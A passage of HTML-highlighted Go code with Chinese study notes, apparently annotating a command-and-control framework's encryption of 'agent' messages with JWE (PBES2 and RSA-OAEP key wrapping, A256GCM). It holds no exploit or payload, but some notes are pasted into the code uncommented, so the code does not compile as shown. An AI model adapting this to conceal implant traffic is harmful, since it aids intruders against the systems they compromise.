rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">gob</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">NewDecoder</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">bytes</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">NewReader</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">jweMessage</span>))<span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Decode</span>(<span style="box-sizing: border-box;color: rgb(152, 26, 26);">&amp;</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">m</span>) <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//解码jweMessage并写入变量m中</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(170, 85, 0);">/*</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(170, 85, 0);">gob包（&#34;encoding/gob&#34;）管理gob流——在encoder（编码器，也就是发送器）和decoder（解码器，也就是接受器）之间交换的字节流数据（gob 就是 go binary的缩写）。一般用于传递远端程序调用（RPC）的参数和结果。</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">要使用gob，通过调用NewEncoder()方法先创建一个编码器，并向其提供一系列数据；然后在接收端，通过调用NewDecoder()方法创建一个解码器，它从数据流中恢复数据并将它们填写进本地变量里</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">*/</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errDecode</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">m</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error decoding JWE payload message sent by an agent:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errDecode</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Error</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">m</span>, <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//返回message.base结构体</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// GetJWESymetric takes an input, typically a gob encoded messages.Base, and returns a compact serialized JWE using the</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// provided input key           jwe对称加密函数</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">func</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetJWESymetric</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span> []<span style="box-sizing: border-box;color: rgb(119, 0, 136);">byte</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span> []<span style="box-sizing: border-box;color: rgb(119, 0, 136);">byte</span>) (<span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">error</span>) {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//   Keys used with AES GCM must follow the constraints in Section 8.3 of</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//   [NIST.800-38D], which states: &#34;The total number of invocations of the</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//   authenticated encryption function shall not exceed 2^32, including</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//   all IV lengths and all instances of the authenticated encryption</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//   function with the given key&#34;.  In accordance with this rule, AES GCM</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//   MUST NOT be used with the same key value more than 2^32 times. == 4294967296</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//   TODO ensure no more than 4294967295 JWE&#39;s are created using the same key</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// 与 AES GCM 一起使用的密钥必须遵循 [NIST.800-38D] 的第 8.3 节中的约束，其中指出：“经过身份验证的加密函数的调用总数不得超过 2^32，包括所有 IV 长度和所有 具有给定密钥的经过身份验证的加密函数的实例”。 根据此规则，AES GCM 不得与相同的密钥值一起使用超过 2^32 次。 == 4294967296</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// TODO 确保使用相同的密钥创建不超过 4294967295 个 JWE</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(170, 85, 0);">//balabala好多废话，大概就是相同key可加密出4294967295不同的jwe</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">encrypter</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">encErr</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">NewEncrypter</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">A256GCM</span>,</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Recipient</span>{</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Algorithm</span>: <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">PBES2_HS512_A256KW</span>, <span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Creates a per message key encrypted with the passed in key</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">//Algorithm: jose.DIRECT, // Doesn&#39;t create a per message key</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">PBES2Count</span>: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">500000</span>,</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Key</span>:        <span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>},</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">/* type Recipient ¶</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">type Recipient struct {</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">Algorithm  KeyAlgorithm</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">Key        interface{}</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">KeyID      string</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">PBES2Count int</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">PBES2Salt  []byte</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">}</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">PBES2Count 和 PBES2Salt 对应于基于密码的加密算法 PBES2-HS256+A128KW、PBES2-HS384+A192KW 和 PBES2-HS512+A256KW 中使用的“p2c”和“p2s”标头。</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">如果未提供它们，则将使用安全默认值 100000 进行计数，并将生成 128 位随机盐。</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">*/</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">encErr</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error creating the JWE encryptor:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">encErr</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">jwe</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">encrypter</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Encrypt</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error encrypting the Authentication JSON object to a JWE object:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Error</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">serialized</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errSerialized</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jwe</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">CompactSerialize</span>()</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errSerialized</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error serializing the JWE in compact format:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errSerialized</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Error</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Parse it to make sure there were no errors serializing it</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">_</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">ParseEncrypted</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">serialized</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error parsing the encrypted JWE:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">errJWE</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Error</span>())</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">serialized</span>, <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// GetJWEAsymetric takes an input, typically a gob encoded messages.Base, and returns a compact serialized JWE using the</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// provided input RSA public key             jwe非对称加密函数</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">func</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">GetJWEAsymetric</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">data</span> []<span style="box-sizing: border-box;color: rgb(119, 0, 136);">byte</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">rsa</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">PublicKey</span>) (<span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span>, <span style="box-sizing: border-box;color: rgb(119, 0, 136);">error</span>) { </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// TODO change key algorithm to ECDH</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">encrypter</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">encErr</span> :<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">NewEncrypter</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">A256GCM</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Recipient</span>{<span style="box-sizing: border-box;color: rgb(0, 0, 0);">Algorithm</span>: <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">RSA_OAEP</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Key</span>: <span style="box-sizing: border-box;color: rgb(0, 0, 0);">key</span>}, <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">调用jose创建一个加密器</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">jose</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">A256GCM，即enc表示的是使用的加密分组是多少位，并采用哪种方式，enc</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">A256GCM</span>,<span style="box-sizing: border-box;color: rgb(0, 0, 0);">表示使用256位分组的GCM加密方式</span> </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 0, 0);">加密明文内容的rsa算法和公钥</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">type</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Recipient</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">struct</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Algorithm</span>  <span style="box-sizing: border-box;color: rgb(0, 0, 0);">KeyAlgorithm</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Key</span>        <span style="box-sizing: border-box;color: rgb(119, 0, 136);">interface</span>{}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">KeyID</span>      <span style="box-sizing: border-box;color: rgb(119, 0, 136);">string</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">PBES2Count</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">int</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">PBES2Salt</span>  []<span style="box-sizing: border-box;color: rgb(119, 0, 136);">byte</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">encErr</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span> <span style="box-sizing: border-box;color: rgb(34, 17, 153);">nil</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span role="presentation" cm-text="	" style="box-sizing: border-box;font-family: var(--monospace);display: inline-block;">    </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">fmt</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">.</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">Errorf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;there was an error creating the agent encryptor:\r\n%s&#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 0, 0);">encErr</span>)</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: 